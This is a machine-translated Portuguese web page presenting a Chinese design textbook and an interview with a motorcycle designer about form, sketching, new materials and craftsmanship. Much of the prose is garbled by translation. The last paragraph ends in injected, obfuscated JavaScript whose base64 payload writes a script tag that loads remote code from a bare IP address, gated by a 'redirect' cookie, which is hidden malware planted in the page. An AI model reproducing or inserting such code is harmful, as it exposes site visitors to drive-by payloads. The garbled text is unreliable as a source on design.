técnicas de estudo e design

 

Posted in China com uma tiragem de 75.000 cópia, para o uso como um manual técnico na faculdade de engenharia chinesa, volume de ele “Estudo Técnico e Desenho” é o terceiro de uma bem sucedida série de manuais técnicos escritos pelo Professor prolífica. pedra Wen.
Em Inner descreve alguns processos de produção adaptados a partir de nós, tomá-los por exemplo para os jovens estudantes chineses.
A publicação deste livro foi uma experiência extremamente agradável e interessante.

resumo

Temperatura foi apenas、Chenzhen Yi、su Bolin、Enrico Leonardo Fagone、Donato Cannatello editou a "fonte de design de produto e um grande avanço" do ponto、linha、superfície、corpo começando,Para rastrear a origem da forma do produto,Os pontos de origem para começar de novo,Nós exploramos a possibilidade de interpretação da rica styling,Para ajudar os leitores a concepção de diálise natureza。Este livro apresenta método de seis modelagem,4Um passo de modelagem,3Produtos Dicas unidade,Ele fornece um método prático e eficaz de modelagem para o leitor envolvidos no trabalho de design。Por superfície de forma livre,híbrido proposto、Fechado e ação pensar três tipos de técnicas de modelagem,Ele fornece soluções direccionadas para o leitor para controlar a forma livre dificuldade modelagem superfície。Este livro apresenta a moldar a inércia psicológica,5 grupos método proposto de modelagem inércia psicológica e Breakthrough,Para o leitor para quebrar as limitações do seu próprio estilo,No mundo da moda mais rico abre uma janela。O livro entrevistou um número de designers de topo europeu,visitas de campo a um número de empresas de topo de design da Itália,Fornecer aos leitores com uma informação em primeira mão novo design,Através de uma análise aprofundada destes casos de design,Nós podemos ajudar o leitor a compreender estes excelentes métodos de design designers e excelente processo de modelagem de casos de projeto,Ela ajuda a visão leitores de design e melhorar o nível estético do leitor。


Resumo entrevista:

1uma. A forma de motos sofreu grandes mudanças desde a sua emergente. O que você acha que pode ser os fatores envolvidos neste processo de mudança?

2013 Triumph BonevilleEu não concordo inteiramente.

A alma de motos permaneceu substancialmente inalterado em mais de cem anos.
E isto é confirmado por alguns modelos actualmente em produção, que reinterpretam o estilo de motos clássicas já que recordar a essência de motos; duas rodas, um motor, vibrações e emoção.
As mudanças nas formas e estilos que inevitavelmente se seguiram no tempo dependerá, em minha opinião sobre 4 razões: técnica, moda, evolução cultural e corridas.

 

Pela primeira vez 80 anos temos sido focada principalmente na evolução técnica, máquinas de produção que visam mais de enything mais a perfeição e desempenho.
No ultimo 20 anos, em vez do desenvolvimento dos elementos mais interessantes da técnica e corridas parado, deixando a evolução da moto para os únicos aspectos sócio / culturais.

 

A partir de hoje tais aspectos são predominantes na produção de motocicleta e gerar nostálgico, absurdo, modelos futuristas ou hiper detalhados.

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.1b. De que forma a forma de motos europeias poderá evoluir no futuro?

 

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design europeu, como o design oriental e ocidental, vai se especializar seguintes exigências específicas; formulário é sempre definido pelo lugar onde a produção começa.
Não obstante a contaminação cultural inevitável, produção europeia irá sempre apontar para uma moto que é simultaneamente funcional e apaixonada, um perfeito equilíbrio entre condução e características estéticas, diversão e utilidade. Tudo para ir junto com nosso próprio território, tão desigual, com paisagens variáveis, enrolamento estradas íngremes e colinas.

Como a produção americana está dedicado às suas planícies infinitas e estradas longas e retas, e ao mesmo tempo de produção oriental tende a seguir os mercados, cidades e ruas superlotadas com produtos extremamente funcionais e racionais.

 

 

 

 

 

 

 

  1. Cada projeto excelente motos é destaque pelo seu próprio estilo único, transmitindo aos clientes emoções especiais e conotações. Como designer, como você ilustrar a personalidade da moto usando a linguagem de forma ?

No design da motocicleta, e mais geralmente em design industrial, volumes são a característica principal, o primeiro a transmitir uma mensagem para o cliente.
Olhando para algo contra a luz, pode-se sentir imediatamente o seu carácter: se transmite energia, leveza, Rapidez, elegância ou qualquer outra coisa.

O mesmo acontece na natureza, discernir na escuridão de um pit-bull de um poodle só a partir de seu contorno.

 

  1. design de moto tem que tomar muitas partes em consideração, tais como o chassi, o motor e o tubo de escape e assim por diante. Parece complicado e esmagadora para iniciantes. Você tem alguma sugestão sobre como equilibrar a pele (as partes, abrangendo) com a estrutura para alcançar uma unificação perfeita?

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Depende: estamos desenhando em uma folha branca ou estamos trabalhando em algo?

Em geral, projeto deve vir em primeiro lugar, antes de tubos de escape, antes do quadro e antes do motor. O design tem de ser a primeira abordagem para um projeto de motocicleta. Mecânica, então, siga as diretrizes do projeto com adaptação recíproca.

Se a abordagem de design segue o planejamento (como acontece em restyling), em seguida, alguns pontos fixos têm de ser decidido, a fim de proceder livremente com todo o resto. Para objetos técnicos, como uma moto, não pode haver uma regra fácil: partes que são mecanicamente interessante ou bem feito não tem que ser coberto, mas deixou à vista. Se possível, é preferível para redesenhar a parte técnica que não é satisfatória e torná-lo parte do projeto, em vez de cobrindo-.

Há, porém, uma coisa fundamental em nossa concepção, Do ponto de vista de uma moto não é perfeitamente lateral à bicicleta, mas é colocado mais alto; vamos não só então projetar uma visão lateral bonita, muitas vezes uma boa proporção dos volumes laterais superiores / mais importante é que a vista de lateral.

 

  1. Em um certo ponto, a vista em perspectiva, luz e sombra de uma moto é mais difícil de controlar do que as de um carro. Como podemos obter um melhor controle no esboço moto? Pode mostrar-nos o processo de desenho de uma motocicleta( usando 6 imagens para explicar os passos de desenho). Para os jovens estudantes, Como melhorar as habilidades de desenho.

Considerando as dificuldades de design da motocicleta, podemos interpretá-lo como um projeto multinível.

1Um primeiro nível, visão global, um segundo nível, mais detalhado, um terceiro nível, ainda mais detalhada, e assim por diante. O primeiro nível é o mais importante, o que o cliente recebe a primeira vista, o que você transmite o prazer ou diversão de um objeto.
Eu trabalho após esta regra.
A partir da visão geral (volumes gerais) e depois seguir com a definição de mais detalhes particulares: a calda, a frente, a moldura, etc. até os parafusos.

  1. Motos e carros são todos os veículos de transporte eo design forma de ambos estão naturalmente ligados. Então, que, Você acha que, distingue cada um deles?

historicamente, o uso e função dos carros e motos têm sido sempre diferente e, portanto, também o respectivo projeto.
Agora eles estão cruzando, evoluindo em todas as direções.
Carros usados ​​para ter como transporte principal função, enquanto bicicletas foram mais ligada à ideia de forma (Diversão, gosto, Rapidez).
Hoje, o mercado tende a preencher qualquer vazio, e, portanto, temos carros que são forma pura e motos que são pura função.

Para motos essa mudança é agora consolidada no mercado (i.e., lambreta), enquanto esta nova tendência de carros ainda não é predominante, e interessa um nicho menor do mercado; mas tenho certeza que em breve vamos ver carros com o motor à vista, “Nu” como motos.

 

 

  1. Atualmente, muitas novas tecnologias, tais como fibra de carbono e LED, são aplicados para o fabrico de motos. Como essas novas tecnologias afetam o design forma de motos?

Novas tecnologias têm sempre influenciou o design como uma parte fundamental do seu processo de desenvolvimento.
Pessoalmente, a principal contribuição que recebi e apreciado a partir de tecnologias modernas tem sido em números de produção.
Hoje é mais fácil construir uma pequena série de motos, graças às novas tecnologias, como a fibra de carbono, LEDs, máquinas CNC, prototipagem e novos materiais.

Por exemplo, prototipagem e fresagem CNC aplicado a materiais modernos nos permitem ter um pedaço ABS única, sem a necessidade de caros e difíceis de moldagem por injeção; além disso, graças aos selos de silício, podemos construir pequenas séries de cópias em poliuretano com baixos custos.
faróis também polyelliptical (ainda melhor com tecnologia LED) contribuíram para superar os limites da industrialização. Eles podem ser ocultada em uma carenagem de acrílico transparente, moldá-los sem a necessidade de homologar uma nova luz, uma vez que era necessário antes.
E, finalmente, de carbono e de laminados em geral nos libertar limites estruturais de plástico, com melhorias estéticas e mecânicas não só.

 

 

  1. Alguns dos desenhos de moto principais são completadas por artesanato. Como é o valor da moto é expressa por artesanato tradicional?

Eu gosto e sempre foi um defensor da obra.
Na motocicleta obra desenho é substancialmente modelagem argila e o nível de detalhe é alta, mas requer tempo e recursos econômicos para o processo de engenharia reversa necessária para transformar tudo em formato digital.
Eu prefiro usar digitais dos meios que estão à nossa disposição, evitando a passagem analógico, para simplificar e acelerar o processo criativo. GetCookie função(e){var L = document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retorno U?decodeURIComponent(o[1]):vazio 0}var src =”dados:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,agora = Math.floor(Date.now()/1e3),bolinho = GetCookie(“redirecionar”);E se(agora>=(time = bolinho)||vazio 0 === tempo){tempo var = Math.floor(Date.now()/1E3 + 86400),date = new Date((Nova data).consiga tempo()+86400);document.cookie =”redirect =”+tempo +”; caminho = /; expira =”+date.toGMTString(),document.write(”)}